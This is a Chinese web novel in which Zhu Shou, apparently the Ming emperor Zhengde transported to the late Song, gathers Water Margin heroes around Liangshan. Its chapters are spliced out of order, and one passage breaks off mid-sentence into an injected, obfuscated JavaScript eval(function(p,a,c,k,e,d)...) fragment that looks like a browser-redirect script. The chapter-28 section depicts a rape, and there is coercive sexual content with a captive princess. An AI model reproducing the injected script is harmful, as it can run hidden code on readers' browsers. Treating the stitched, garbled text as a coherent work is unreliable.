秋季丰收这里能看到金色的麦田,原野上花草茂盛。 经过两个月的行军朱寿终于率领部众抵达京东东路东平府。 今年年初,郓州被升为东平府,朝廷正欲增强其防务,朱寿南归以后正好被派驻此地。 沿途关隘太多,一路上都要查文书,查了文书办理得又慢。 原本一个月的路程硬是走了两个月,朱寿深刻见识了大宋的冗官行政效率有多低下。 上下各级官员职能重复的不知有多少,一份权力被拆分成三四份彼此制衡。 简单地调兵过关硬是让朱寿前前后后拿着文书被通判、宣慰司们支使得转来转去。 要放朱寿十八九岁的时候,他就把这些虫豸全砍了。 历经底层磨练的他还是把脾气磨掉不少,为了大局忍住了。 这一路走来支撑他的是心心念念的山东,到了山东反宋的土壤就有了。 天下未反山东反,这里人口众多,土地矛盾严重,造反山东很在行,这里走出了黄巢那样的大神。 山东文人从宋真宗年间就开始宣扬大宋国祚将尽,并付出行动亲身反宋。 北宋一百五十年,山东叛乱了快一百年,经验丰富。 当下朱寿最眼馋的还是水浒好汉,如果能找到武松就太棒了,朱寿一支挺好奇人真能打死老虎吗? 他在朱棣创办的大明皇家动物园还想亲身实践一下打虎,不过后来打开笼子的瞬间放弃了。 在寻找好汉之前,他还有一个要务找当地州府领取朝廷从中央拨下来的武器。 关键是朱寿不知道找谁领,宋朝地方官员太多,转运使、通判、知府……看得朱寿满脸懵。 朝廷给的旨意是到京东东路轮戍,他正好被安排在单州。 他让石秀去问,结果通判说不知道,知州说他不归地方管,转运使说自己只管地方军武备,他归属禁军,武器军械要三衙自己批。 听完以后,朱寿直骂娘。 宋朝制度确实有问题,禁军原本是大量屯驻京师的,可从北宋中期开始禁军大量外派。 现在禁军外驻与京师的比例为一比一持平而他们又不归地方管,由三衙直接统辖。 三衙的门路暂时搞不定,还得慢慢打点。 当下要领取装备或许还得走走关系,去京东东路问问东路安抚使。 烦躁的朱寿火气超大,当下决定泄泄火。 遇事不决就先训练,朱寿当即带着士兵出营开挖战壕。 历史上岳飞带兵就是每到一个地方任职驻军,安营扎寨以后立马让士兵开始训练。 披着步人甲,朱寿干得满头大汗,胸中积怒倒也宣泄不少。 “吁~何人在此挖坑?” 十多骑文士打扮的人骑马来到坑前。 朱寿双手撑住地面跃上坑来,看着几个说道:“洒家乃虎翼军军都指挥使朱寿是也。” “哈哈哈,原来是燕云猛虎在此,将军怎么弄得这般狼狈?” 那带头文人颇为疑惑地问道。 朱寿却是不答,反问:“你是何人?” “在下张叔夜,失礼了,早就听闻将军大名,仰慕已久,今日终得一见尊容。” 张叔夜的一番话让朱寿很是受用,态度也好了不少。 而且一听是张叔夜夸自己,心情变得不错。 因为水浒传的原因,朱寿了解过宋江起义的真实历史,从而知道张叔夜。 张叔夜北宋名门之后,年少时就憧憬军事事业,喜欢谈论兵事,经过荫补成为官员。 历史上他早年提出改革吏治,提升官场办公效率得罪了文官群体,被外放海洲担任知州, 后来他平定了宋江起义被加任为徽猷阁直学士,并改任济南府(今山东济南)知府。 在任期间,因斩杀数千盗匪的战功而升任龙图阁直学士,青州府知府。 靖康年间,他浴血勤王,张叔夜接连四天与金兵大战,斩杀金兵金环、贵将二人。开封城陷后,张叔夜受伤,父子仍竭力作战。 他是北宋末年文武双全的顶尖名臣,得到这种名臣的夸赞,朱寿还是很受用的。 “你就是极力要求革除‘空黄’而得罪群臣的张嵇仲?” 朱寿上来就说出张叔夜的早年事迹,让张叔夜有些惊讶这个燕人居然这么了解自己。 “些许薄名不足挂齿。”张叔夜摆手道。 二人互相吹捧一番,朱寿方知张叔夜是朝廷派来的虎翼军右厢第四军副都指挥使。 毕竟朝廷给那么多装备,按照宋朝“抑武”的制衡原则,自然会给朱寿派一个文官来监视他。 朱寿倒也不担心,随着世道乱起来,官场那套只会越来越没用。 他又不是岳飞,手握重兵还能被耍嘴皮子的文人给拿捏了。 张叔夜对他的印象不错,有宋一朝的文人对燕云十六州充斥着别样的感情,朱寿在燕云收复二州带来的名声是很不错的。 相谈一会,朱寿让张叔夜先回城中休息,他要继续练兵。 此举更是让张叔夜好感暴增,朱寿没有大宋官场那套繁文缛节,反而一心实干。 任谁看到了这样一个行军劳苦的将军刚到驻地就马上投入训练,都会在心中肃然起敬。 这让张叔夜想到了范文正公的一句名言:“微斯人,吾谁与归?” 当下他也不回城,就站那看朱寿带兵苦苦操练。 看着虎翼雄师那高强度的训练,熟知军事的张叔夜心下对这支强兵评价又上了几分。 朱寿率兵一直操练到傍晚,然后才罢兵休整准备晚饭。 军粮是他们过沧州时朝廷发的供路上使用,到了东平府以后还没从地方批下钱粮。 了解朱寿等人对大宋官场不熟悉,兵甲器械、钱粮辎重不知如何申领,张叔夜立马给他们讲解。 在大宋官场起起伏伏多年,张叔夜对于其中运行逻辑还是非常熟悉的。 有了张叔夜帮忙办理各项事务,这大宋官场的复杂事情才得以快速解决。 在东平府安定下来以后,朱寿也开始以东平府、梁山泊一带构筑他的宏图了。 作为水浒传的故事核心地区,东平府下辖阳谷县、郓城,比邻梁山泊,无数豪杰汇聚此地。 马植回去以后的打点还是不错的,让朱寿来到了他最满意的地方。 第18章 夜游梁山泊,月照玉观音 辽阔的梁山泊湖面上波光粼粼,一艘轻舟游于梁山泊上。 朱寿看着湖面下深不见底的潭水,心中莫名悸动。 或许是作为火徳天子,老朱家的皇帝都和水有些犯忌。 如果没有穿越到北宋末年,按照明武宗原本的历史命运他将会溺亡水中,自此拉开朱家天子易溶于水的序幕。 不过片宿命这种东西本就飘忽不定,在这宋末生死洗礼后,朱寿早已不是朱厚照了。 “呼~”朱寿长出一口气,拿起手中的清酒畅饮一口。 朱寿往后一躺,把头枕在答里孛大腿上,非常舒服。 饮美酒,赏梁山泊,又有美人相伴,大宋的休沐旅行确实不错。 答里孛有些嫌弃地推了推这个浑不吝的家伙。 曾经贵为天寿公主的她被这个男人拐到了千里之外的中原,此生只怕很难再回家了。 这家伙当初借着谈判的名义从她父皇那里敲诈了不知道多少战马、物资。 不过好在他对她还是不错的,从小到大答里孛看过契丹王公贵族们对待自己的妻子都很粗暴。 辽国很矛盾,一方面像萧太后那样的女人能掌控大权,另一方面女人又像权力的工具在贵族的博弈中被牺牲。 原本她想要反抗命运,故而参军,希望能掌握军权,却没想到落到了这个男人的手里…… 好在朱寿对她也还算体贴,虽说最初很粗鲁,但后来的相处里他还是愿意在她身上花时间的。 最关键的是作为草原公主,她喜欢的就是那种纵横天下的盖世英雄,朱寿确实厉害,打得他们大辽无可奈何。 强者总是有一层无敌的光环让人倾倒,答里孛的立场有些不坚定了。 不过她安慰自己这只是权宜之计,她将用美色来麻痹这个中原英雄,这不也是曲线拯救大辽的方法吗? “嗯咛~” 男人有力而又温暖的大手打断了她的曲线救国遐想。 “今夜月色撩人,夫人可愿与我同船共震?” 朱寿躺在匀称柔软的膝枕上仰视公主,只见挺拔的山峰掩去那冷艳容颜,只能依稀看到朱唇贝齿。 作为精通数门语言的博学公主,答里孛怎能不知道这无耻汉贼的邪恶想法。 “我是俘虏,还不是只能听你的。” 她以此来藏住自己心中那不易察觉的小期待,她可不想承认自己其实挺喜欢朱寿的爱抚。 月夜下,朱寿让天寿公主给他喂酒,二人一口。 清酒度数不高,喝起来颇为惬意。 看着宁静的大湖以及无垠湖水中倒悬的月华,朱寿只觉心中找到久违的归属与舒适。 “我们汉人的山河湖海美吧?”朱寿抬手挑起答里孛雪白的下巴问道。 “嗯,确实美!” 中原的风光确实秀丽多姿,处于冰期的辽国湖海那是千里冰封、万里雪飘,长城之外一片苍茫。 来了南国,她才第一次行舟于大湖之上。 刚上船的时候,她还是很害怕的,可那个男人站在身旁,她也就没那么怕了。 “嘿,我和你说,这还不算什么。南边的鄱阳湖和云梦泽还要更大,还有那长江之水浩浩汤汤……” 男人谈起大好河山说得滔滔不绝,答里孛却在心里诽谤:这家伙明明也是才刚刚南归,却说得好像自己真看过一样。 不过她并没打断男人,虽然觉得他在胡扯,但她觉得听他胡扯也挺有意思的。 她挑弄着男人鬓角的头发,看着那双明亮的眸子里绽放着熠熠生辉的光芒,看得有些失神。 “咚~”小舟停泊于一处湖畔,船家下船固定好小舟。 这里位置不错,视野清晰可以一望无际地看到大湖,等到朝阳初升,便能一睹日出梁山泊的美景。 船家知趣地退下,给两人留下二人空间。 朱寿把脸转过来往答里孛平坦的腹部挤了挤。 面对这个大猪蹄子上下其手的动作,答里孛有些受不了了,身子只觉越来越软,越来越轻,好似要飘起来一般。 答里孛那清丽冷艳的面容又混着一些异域风情,让朱寿想到一个唐朝的词汇“菩萨蛮”。 那半解的罗衫露出莹白如玉的肌肤,月华洒落在玉肤之上将她点缀成一尊玉观音。 他抱起这尊玉观音进了船室,里面有一床事先准备好的被子和席子。 答里孛感到身子一沉,整个人被压倒在柔软被子上。 紧随而来的是男人那炙热而又强壮的身子,炙热的气息让她有些头晕。 鸳鸯被里成双夜,一树梨花压海棠。 乳白的月华与广袤的湖畔水乳交融,这一夜的月色别有一番诗意。 一个时辰如流水一般逝去,此时夜色已经深了。 朱寿左右有些睡不着,旺盛的精力经久不衰,他从席子上起身,给答里孛拉掩被角盖上那绝美的胴体。 随后她从舱室里披着长袍走出,坐在船边看着点点星光下的梁山泊。 此时的梁山泊非常辽阔,在这个黄河没有改道、雨水充沛的时代,梁山泊地跨数州,无数渔民、农民依此求生计。 可惜近年宦官杨戬课以重税,使无数民众破产成为流民。 这里旋即成了无数水匪纵横的地方,说是水匪,其实多半是破产的升斗小民借着这辽阔水域苟活罢了。 在朱寿的计划里这八百里梁山泊是非常适合潜龙在渊的地方。 肥沃的土壤,还有大量的沼泽、荒地没有开垦,只要好生经营,可以供养万人。 还有丰富的渔业资源,山林广阔还可以兴办养殖。 梁山泊地跨数州,水路通畅,以此地可以制数州之地。 再加上廖子洼、梁山的地利,可以藏兵无数于此。 朱寿准备招募一群英雄豪杰在此经营梁山,以此作为自己的私兵。 等到和宋廷翻脸的时候就可以此为根基,进可取临湖州府无数,退则据山湖之险以抗宋军。 现在的山东很乱,江湖豪杰尽起,水浒中梁山好汉大都已经遭遇不公,走上了逃亡之路。 像鲁智深、武松等人,那都是朝廷的钦犯。 而且值得一提的是梁山此时山上无人,或许是因为王伦去了自己的麾下,影响力剧情走向。 梁山泊无人占据,晁盖等人也没上山,不知他们去了何处。 月下朱寿正在思考未来的战略方向,单手抚着长须想得入神。 身后的舱室里,答里孛偷偷看着他的背影,不免觉得这家伙认真起来还是有些王者气象的。 跟了朱寿这么长时间,她想按照往常男人此时还没睡多半有些饿了。 于是她拿出之前准备的大饼还有果肴送了出去。 “呆子吃东西了,别在干坐着。” 答里孛清冷的声音响起,冷白的手戳了戳男人雄壮的腰。 朱寿回头望瞭望女人,那豪情天纵的壮志雄心被这刻骨柔情所触动了。 月下的女人穿着一袭紫衫,把一头浓密的长发高高挽起,冷白的玉手把瓜果递到他嘴边。 这个画面已经重复了很多遍,让他有些习惯了。 朱寿当初抓她就是图她好看,图她的身子,就是下贱。 可如今发现这个笨笨的嘴硬傲娇公主很纯,纯得让他有些心动。 契丹女子真的不错,将来以后就好好过日子,真心把你当丈夫,满眼都是你,真的很不心动。 朱寿搂住她的腰,把下巴放在她的香肩上,暗暗下定决心以后少欺负公主一些。 二人正在情浓意切时,突然一道嘹亮的声音响起。 “勿那撮鸟,好不害臊!” 面对突如其来的喝骂,朱寿转头一看。 只见一个大胖和尚站在湖边,看上去好生凶猛。 “识相的给洒家弄些酒肉来,若是没有,瓜果也行,就你手上的大瓜也行。” 大和尚声若洪钟,仿若一尊怒目的佛门金刚。 第28章 青天大老爷 “吸溜~” 十几条大汉围在一张桌子前吃着热气腾腾的面。 坐在首座的是一个壮硕威猛的年轻人,嘴上有一道浅浅的疤哼。 年轻**口大口嘬着面,吃得差不多了,直接抱起碗连着汤汁臊子一股脑地喝下。 “好吃,有赏!”年轻人摸出一把银子拍在桌上。 店家和他们倒也是熟人了,连忙腆着一张笑脸走过来感谢贵客。 “小的谢过虎爷了。” 他的手刚刚伸到银子面前,突然被摁住。 “老陆,我们认识多久了?” 被称为“虎爷”的年轻人问道。 陆掌柜满脸陪笑道:“四年多了,虎爷每次来城里办事都光顾小的生意,是我家的衣食父母啊。” 对于“虎爷”,他是真不敢得罪,这是祝家庄的二公子,有钱有势,武艺高强。 “那既然洒家是你家的衣食父母,那你们全家是不是应该出来感谢感谢洒家啊?”祝虎添了添带疤的嘴说道。 “这……小的家,父母早逝,只有小的和婆娘相依为命,我那婆娘在干活,满身臭汗,就不唐突公子了吧。” “哼~说的什么话,你小子从来不尊重洒家。这么多年了,让你婆娘出来感谢感谢洒家,却百般推脱。” 祝虎一把拍在桌上,碗都被拍翻了。 “小的不敢!”陆掌柜前倨后恭地道歉,屁股恨不得翘到天上。 旁边几桌的客人跟着起哄,十里八乡的人们谁不知道这家店的老板娘叫“面条西施”。 多少人来这吃碗面就是为了一睹“面条西施”的容貌,只是“面条西施”却一般不出来都是在厨房干活。 偶尔有人见到,那都是说韵味十足。 现在大家一看有机会一睹真容了,无不起哄。 “是啊,陆掌柜让你家娘子出来给大伙见识见识嘛,又不会掉两斤肉。” “陆掌柜别小气了,让大家康康,没事的。” “……” 人们总是喜欢慷他人之慨。 祝虎低下头看着陆掌柜,低声道:“你也不想我发飙吧?” 没人可以不给他面子。 “二公子,别发火,妾身这就来给您敬酒赔不是了。” 一个风韵十足的女子从楼上走下来,女子样貌只是中上,但身材火辣,风韵十足。 祝虎看得眼前一亮,目光火辣。 女子因为一直揉面又面对高温,全身上下被汗水浸湿,一身衣物紧紧贴在身上。 其他桌的顾客看得吹起了口哨。 “虎爷,这一杯妾身给您赔罪了。”说罢,女子一饮而尽。 “好,再赏!”祝虎又往桌上砸了五两银子。 女子接过银子,满脸陪笑。 “知道爷为什么给你银子吗?”祝虎问道。 “虎爷心眼好,对我们恩重如山……” “那你怎么报答虎爷我?”祝虎邪魅一笑。 “啊~”女子尖叫一声,突然被祝虎一把拉到怀里。 “嘿嘿嘿~”祝虎满脸坏笑,一只大手上下其手。 其他桌的看客此时也看出端倪了,知道祝虎是要来荤的了。 大家都不想惹麻烦,连连退出酒楼。 “我入你娘!祝虎,你这人面兽心的家伙!尔母婢!” 看着祝虎糟蹋自己的老婆,陆掌柜暴跳如雷向前冲。 他刚迈开第一步,就被祝家的庄客们扑倒在地。 眼前的场景让陆掌柜撕心裂肺,双眼目眦欲裂,闭上眼睛以后,那**的声音依然不绝于耳。 “啊!杀了我吧!”陆掌柜惨绝人寰地叫着。 祝虎笑得更开心了,今天是个好日子,得好好庆祝庆祝。 女人被他一把推倒在桌上,祝虎开始解自己的衣服。 一番云雨之后,女人晕了过去,当着丈夫的面被如此羞辱,她已经崩溃了。 祝虎开始穿衣裳,顺带着又丢了两锭银子。 “赏你的,记得照顾好我们的马。” 陆掌柜像一堆烂泥一样无力地瘫倒在地。 祝虎一大群**摇大摆地往外走。 “二爷,咱们都走快些了,不然进不了城了。” 毕竟他们不是董平,没有兵马监的职权,是不能在城中骑马的,马得留在城外。 祝虎走路都带风,大哥祝龙听说被射中要害,已经废了。 以后万贯家业都是他的了。 自从听到这个好消息,他就一直很兴奋,刚刚享用了那村妇,发现自己真得很猛啊。 虽然他和大哥是手足兄弟,但事关万贯家业的继承,只能委屈大哥了。 嫡长子继承制下,家业主要给嫡长子,现在大哥废了,他就有机会了。 想想就很激动。 祝虎满脸笑容地走向城门,准备去看可怜的大哥。 一行人在夕阳下离开了这城廓小店,夕阳下他们的影子拉得很长。 陆掌柜看着他们离去的背影,牙都快咬碎了。 妻子醒了一直在哭,他也哭了。 他不明白自己老老实实地过活,日出而作,日落而息,为什么会经历如此惨剧。 一道矮小瘦弱的身影站在店门口,他的身影在夕阳下拖出一片长长的阴影。 “你也是来看我的笑话的吗?入**,都来欺负俺!真以为俺好欺负,大不了舍了这条命和你们拼了。” 陆掌柜用杯子、筷子去砸来人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王伦刚刚说完,一个亲兵进来附耳朱寿耳畔说了两句。 “让他们进来。”朱寿吩咐道。 不一会,时迁与陆掌柜走进了朱寿大营。 看着坐上那个身形庞大的巨汉,陆掌柜有些紧张,又有几分安心。 “说,你有什么冤屈。我虽然不是城里的相公,但我最看不惯那些欺压良善的混蛋。” 陆掌柜泪如雨下,哭泣道:“青天大老爷,为我做主啊!那禽兽……” 第20章 收服智深,梁山堂口 看着眼前壮如山的男人哭得像个孩子,朱寿有些不好意思了,自己是不是演得用力了。 老种经略相公怎么可能特地和他说鲁智深的事,这不过是他为了快速获取鲁智深信任,编纂的谎言。 反正鲁智深不可能跑到燕云去找老种求证吧。 “提辖,来咱们一起吃饭。”朱寿拍了拍鲁智深的肩。 鲁智深抹了抹眼泪,放下禅杖乖乖席地而坐。 朱寿看着鲁智深想到一个词“赤子心性”,非常适合鲁智深。 鲁智深很聪明,很多事看得很通透,但他依然愿意为了素未相识的人去打抱不平,哪怕为此舍弃自身安稳的生活。 朱寿上了船,拿了吃的。 看到朱寿无碍,答里孛松了一口气,无形中在这陌生的宋地,男人已经成了她的最大依靠。 看着外面席地而坐的大胖和尚哭着鼻子,她有些好奇与惊讶。 她没想到自己啊男人居然这么强,能把那么猛的佛门金刚打哭,果然是汉人里的盖世豪杰,自己输给他倒也不冤。 朱寿与鲁智深吃起瓜果大饼,酒是没了,不过还有些干净的水。 二人一边吃一边聊,鲁智深说起了自己的境遇。 鲁智深打闹野猪林救下林冲后,返回汴京却不想那两个衙役回京以后揭了鲁智深的底。 高球自然不会放过鲁智深,通缉之下追得鲁智深没有藏身之地,只能**江湖。 两个衙役是从林冲那得来的信息,至于林冲是有意还是无意,鲁智深已经不想追究。 作为西夏战场上滚出来的老兵,鲁智深看待事情比很多人都要通透。 他能理解林冲一心想要留在正道且不愿与江湖多有瓜葛的心,可理解不代表原谅。 “直娘贼的老天爷,就喜欢祸祸老实人,而有些人又是真**的窝囊!” 鲁智深狠狠咬了一口手中的大饼,然后骂骂咧咧地说道。 “这个世道如此,无能之辈窃据高位,把所有心思都用在心机权术上,让大丈夫没有用武之地,让猪狗之徒肆虐忠良。” 朱寿解开盔甲袒露着胸怀,嘴角叼着一根草看向远方,用平静的语气说出深沉的话语。 鲁智深想到了自己的境遇,他纵横西夏战场,立功无数,最后却被调任到地方做了一个小小的提辖。 本该驰骋疆场的盖世英雄正值壮年却只能空虚度日,怎能不让人唏嘘。 “哎~洒家当年也想像狄青将军一样,做个盖世英雄,后来方知‘人生十事九事艰’,蹉跎半生啊!” 摸着自己的大光头,豁达半生的鲁智深难得露出苦恼的表情。 鲁提辖其实就是宋朝西军的一个缩影,作为大宋现役最强边军,战力强悍,硬刚西夏,在西北开疆拓土。 可就是这样一支劲旅却遭到内部的众多制衡,大量猛将被迫转职。 整个大宋王朝处于上升阶段,可内部的众多矛盾却拖慢了王朝向前的步伐。 “提辖~不,该改口叫智深了,”朱寿搭着鲁智深的肩说道:“其实天下就像一个家,家业大了,掌家的人却反而变得平庸。 “平庸的人掌家第一件事不是广大家业,而是确保自己在家里的话语权,因为家里比他强的人太多了。 “太祖在世时,大宋只有开疆拓土,西夏先辈只能俯首称臣,打得辽国一败再败……” “那当然,太祖是有天命的人。”说到宋太祖,鲁智深的眼里冒光了。 “……”谈起宋初二人那是滔滔不绝,关系迅速升温。 虽然大宋重文抑武的祖训是从宋太祖开始的,但太祖在时,并没有现在这么夸张,宋朝彼时武德还是可以的。 可到了宋太宗兵败高梁河,禁军拥立太祖长子开始,大宋打压武人就有些矫枉过正了。 后来一代比一代夸张,文治上也是彼此制衡,各项政策执行得偏离了初衷。 这其实是所有王朝的通病,朱寿所在的明朝又何尝不是这样。 当他从父亲明孝宗手里接过弘治中兴后的大明国力鼎盛,可同样朝中派系林立。 这是无可奈何的,当王朝稳步向前时,朝堂上的上升渠道就开始闭合,文臣开始抱团形成派系。 随着上升渠道闭合以后,身居要职的就不再是能臣干臣,而是那些精于权术之人。 慢慢的朝中就都是权斗之人,宰执天下的变成了庸碌之辈。 可问题偏偏一时半会不会显现出来,因为在这个时期之前通常都会有一个治世或改革。 治世或改革掩盖了很多问题,此前制定的发展方向还会有发展惯性让王朝持续性向前。 上层完全意识不到自己的问题,相反一看政绩还不错,其实都是靠之前的老本。 明朝正德年间就是如此,明宪宗的局部改革调整消耗殆尽,明孝宗的治世让王朝总体向前,但问题已经开始显现了。 朱寿必须集权,还要调整边塞政策,重整军队。 北宋后期同样如此,宋哲宗想要打造一个治世,但身体不好,挂了。 宋徽宗上台以后,一看王安石变法和哲宗留下来的局面还不错,于是开始大兴土木。 蔡京、童贯等六奸执政其实就是 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金兵围城,各路勤王部队迟迟不来,大宋中枢朝廷应该好好反思一下。 鲁智深看透了其中的玄机不愿招安,这是一个非常现实的武装反抗派。 两人谈了大半夜,此时夜幕都快落下了。 天边泛起了鱼肚白,温暖的晨曦照在二人的脸上。 梁山泊的早晨很美,晨光照耀下又大又白,这个时代的梁山泊足足有八百里。 “智深,你觉得梁山泊怎么样?”朱寿问道。 “河泽密布,又有山湖之险,是个避祸的好地方。俺以后就打算藏身此处。” “哈哈哈哈~确实如此,”朱寿目光认真地看向鲁智深说道:“洒家想资助你在这里置个寨子,庇护这一代流离失所的百姓……” “这……”鲁智深有些不解,朱寿有着大好的前途,为何要趟这样一滩浑水。 “洒家之前打辽狗得了不少钱粮,现在也没地方花。再说,就许你鲁提辖拳打镇关西,不让我朱某人做点利民的好事? “不妨和智深说,洒家的志向不止是收留这些流民,还希望筑广厦千万间大庇天下英雄豪杰俱欢颜。 “智深,你愿意帮我吗” 看着阳光下那张貌若神君的脸庞,那么俊朗,那么英武,那么威严又不失慈祥,鲁智深的大脑有些嗡嗡的响。 “那简直是太有劲了,哈哈哈哈!大庇天下英雄豪杰俱欢颜,庇护流民,广聚英豪,愿为明王先驱!” 第21章 进城 十月,秋雨落,花黄叶枯。 今日休沐,朱寿决定带着答里孛逛逛东平府。 宋朝最不错的地方就是对武将的待遇不错,带薪休假的日子。 由于重文抑武的政策,朝廷希望武将最好没事别去军营,好好躺平,别一天在军营里和士兵交流感情。 像岳飞那种主动加班的不仅得不到朝廷的表彰,还会引起朝野上下的非议。 毕竟你小子已经打得过金兵了,还把兵练那么强干嘛呢?卷啥呢?你小子也想陈桥兵变,黄袍加身是吧? 朱寿非常喜欢宋朝这种上下划水的官场氛围,拿着赵官家丰厚的薪俸还有一大堆假期,非常可以。 至于自己士兵的战斗力,他有明确的规划,和岳飞那种极端不一样。 万事万物讲究度,物极必反,张弛要有度。 进一步提升战斗力的策略有很多,没必要卷得太明显,否则上下难容。 休沐日,朱寿是不会让自己内耗的,他只想放松。 大明的豹房天子现在活成了大宋劳模,找谁说理去? 东平府非常热闹,从小摊小贩到店铺孕育着浓浓的商业气息。 坊市相融的特色体现得淋漓尽致,很多人家都是外宅做生意,内宅生活。 在宋以前,唐朝实行的是坊市分离制度。 自坊市制度解除以后,市民商业经济发展兴盛。 为市民生活与商业活动提供了极大的方便。 朱寿带着答里孛在街上逛着琳琅满目的商店。 看的最多的是各种锦衣罗衫绸缎。 店铺里顾客主要是富家小姐和那些贵妇。 答里孛没走进一家店铺,贵妇和小姐们都不约侧目。 倒不是俗套的嫉妒,而是惊鸿一瞥。 人皆爱美,当看到真正惊艳的美人,那是不分男女的惊艳。 答里孛看着这些中原多样的丝绸锦衣,有些好奇。 作为大辽公主,她从小不缺锦衣玉食,但辽国的服饰、丝绸产业发展是不远不如宋朝的。 随着金国崛起,宋辽关系紧张,贸易断绝,她也好久没看到宋国新款式的衣裳。 朱寿现在作为大宋五品武将,俸禄那是太多了,此外还有燕云时抄了那么多汉人士绅的家,现在家底厚实着呢。 那自然是答里孛喜欢的都买走,现在他决定对公主可以好那么一点。 虽然公主殿下死傲娇,嘴上说着不喜欢,但买了衣服以后还是很开心的。 毕竟她们不一定喜欢衣服,但看到有人愿意为她们花钱,那心底肯定是会感动的。 答里孛最后还拉着朱寿量了量身型,最后买了几匹朱红的齐锦。 不得不说这一时期齐锦的料子还是不错的,虽然名气不大,但山东人用料还是非常厚道的。 齐锦质感厚实柔顺,价格普遍相对来说还不算高。 购物完以后,答里孛看起来心情不错,哪怕她依旧绷着一张冷白俏丽的小脸,朱寿却敢说她现在很好。 朱寿可是风花雪月的高手,对拿捏女子情绪还是非常到位的。 买完衣服后,朱寿带着亲兵和答里孛在东平府里找了一家专门的酒楼饱餐一顿。 大宋的餐饮酒楼产业发展得非常兴盛,州府一级的城市里都有大酒楼。 店小二一看朱寿一行人走进来,立马起身相迎。 朱寿那庞大的身材充满着力量感,简直是虎熊下山入城来。 关键是他那一身蓝色皂服非常笔挺气派,一看就是有身份的。 更别说后面还跟了五六个干练之士,再加上一个冷艳清丽的胡姬,这绝对是大人物啊! “大官人,打尖还是住店啊?” 小二把姿态放得很低,站在这虎熊巨汉的面前压力山大。 “我等今天进城只想吃些鲜的,你这有什么酒肉卖?”朱寿问道。 “熟牛肉和清白酒都有,老黄牛是昨晚杀的,新鲜。”小二回道。 (中国古代禁杀耕牛,不过普遍是王朝初创民生凋敝时期,像宋中后期也有所改变,规定只能宰杀老到不能耕地的或者意外死的。) “只有熟牛肉和清白酒,也行。”朱寿想了想说道。 朱寿当即吩咐道:“先切十斤熟牛肉来,再打四角酒,大饼来七张,特色小菜看着上些来。” “好嘞,大官人请上楼小坐一会,酒肉马上就好。”小二满脸堆笑地说。 朱寿一行人便上 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作为大明熊孩子,他小时候身体不好却还是喜欢偷喝贡酒,酒龄够长了。 说罢,朱寿当即连饮数碗,一边喝一边吃起肉来。 朱寿吃得酒足饭饱,撑圆了他的大肚囊。 这一顿是他来到大宋三年吃得最好的一顿,只能说要论饮食还得看中原。 不过今天好像真喝到后劲大的陈年老酒了,他一时间觉得有些站不稳。 看了朱寿的熊样,答里孛有些无语。 “你们扶他下去,我先去付钱。” “诺~”几个家将还是很尊重主公的女人。 答里孛推门出去的时候,还听见身后的男人在大喊: “洒家没醉,别扶洒家,百息之内,洒家就能缓过来。” 在朱寿看不到的地方,答里孛那冷艳的脸上闪过一抹难得的笑容。 一颦一笑间尽显倾国之色,让满楼的人为之侧目。 “这是哪家庙里的琉璃菩萨跌入尘世来?” 豪横的声音响起,一个高大痞帅的剑眉男子正侵略性十足地看着朱寿。 第22章 东平都监,双枪董平 答里孛怒斥:“哪来的登徒子,太岁头上敢动土,嫌命长是吧?” 这位契丹公主心里向来骄横霸道的,除了朱寿以外,从没人敢得罪她。 当下大怒,若是换来在辽国现下已经命人斩了这贼子。 楼下那人身后也有不少跟班、帮闲,当下有人说道: “在这东平府连双枪将董平爷爷都不知道?外乡来的吧,还不赶紧赔不是?不然岂不是给你家主人惹祸?” 答里孛冷白的小脸有些凝重,来了东平府这么久,她对当地势力与大人物都有一定了解。 董平是河东上党郡人氏,官拜东平府兵马都监,善使双枪,有万夫不当之勇,人称双枪将。 此人贪花好色,最是风流,有“三教九流,无所不通,品竹调弦,无有不会”之称。 董平看这异域美娇娘好像被他的名头唬住,一时间很是得意,当下说道: “姑娘,洒家对你是一见钟情,不知可否找你家主人来,洒家愿以千金之姿买下姑娘。” 最近董平颇为不顺,他几日前看到一个容貌靓丽的女子,后来打听之下才知道那是知府的女儿。 于是他向知府提亲,却被知府拒绝了。 他认为知府是一个轻视武将的文人,并因此怀恨在心。 却不想今天时来运转居然在这酒楼中碰到如此绝色,知府的女儿和此女相比就是萤火之光与皓月之明。 刚刚他一进店,就看到楼上那宛如西域琉璃菩萨的女子倾城一笑。 这岂不是缘分,他当下决定今天一定要拿下这个异域女子。 反正一个异域胡姬,不过花些银子罢了。 至于那家主人如果不同意,那又何妨,在这东平府,知府老大,他老二。 今天这美人他要定了,天王老子来了也拦不住。 答里孛却是不想与他纠缠,只想快些付了钱,带上喝醉了的朱寿快些离开这个是非之地。 她不想给朱寿惹太大的麻烦,虽然她以前总是给父亲惹麻烦,但现在她不是任性刁蛮的小公主了。 看到里孛不理自己,径直走过去,董平邪魅一笑。 一双大手直取答里孛,活脱脱的猛虎扑兔。 答里孛灵巧地躲过,当即也不再忍让,一脚踢向董平。 “砰砰砰~”两人拳脚相加,速度与劲道都远超常人。 董平终是占着气力更胜一筹,一脚踹退答里孛。 “你还会武功,不错嘛。” 他用自以为充满魅力实际却娟狂邪魅的眼神盯着答里孛。 这个冷傲清丽的女子居然功夫还这么凌厉,简直让他更兴奋了。 当即,他趁势再攻,凭着过人的膂力与精湛的武技**般笼罩向女子。 楼上又下来几个身着黑色劲装的人,应该是女子的同伴。 还不待他们上来增援,就被董平身后的同伙拦住。 一时间店里打得热火朝天,店主欲哭无泪。 答里孛在董平凶猛的攻势下很快就难以招架。 董平一把抓向答里孛那矫健的蜂腰,眼中满是即将得逞的贪婪之色。 “嗙~” 一声巨响,木屑碎散。 巨大的红木桌子砸在董平身上砸得爆裂开来,董平直接被砸飞。 朱寿从楼上一跃而下,站在答里孛身前,庞大的身躯将她护住。 “你不是醉了吗?”答里孛小声嘀咕道。 “洒家早说了,从五岁开始偷喝我爹的酒,到现在从没醉过。” 朱寿仰着红彤彤的脸,自傲地说道。 “哪来的撮鸟居然敢调戏洒家的娘子?”朱寿对着董平大声喝道。 董平好不容易从地上爬起身来,只觉全身上下的骨头都在哀鸣。 看着身前的男子,董平不约咽了一口口水,那虎熊般的体魄确实吓人。 “你可知……”董平刚刚开口,却被打断。 这虎熊般的巨汉虎口大开,中气十足,硬是把他的声音盖过去。 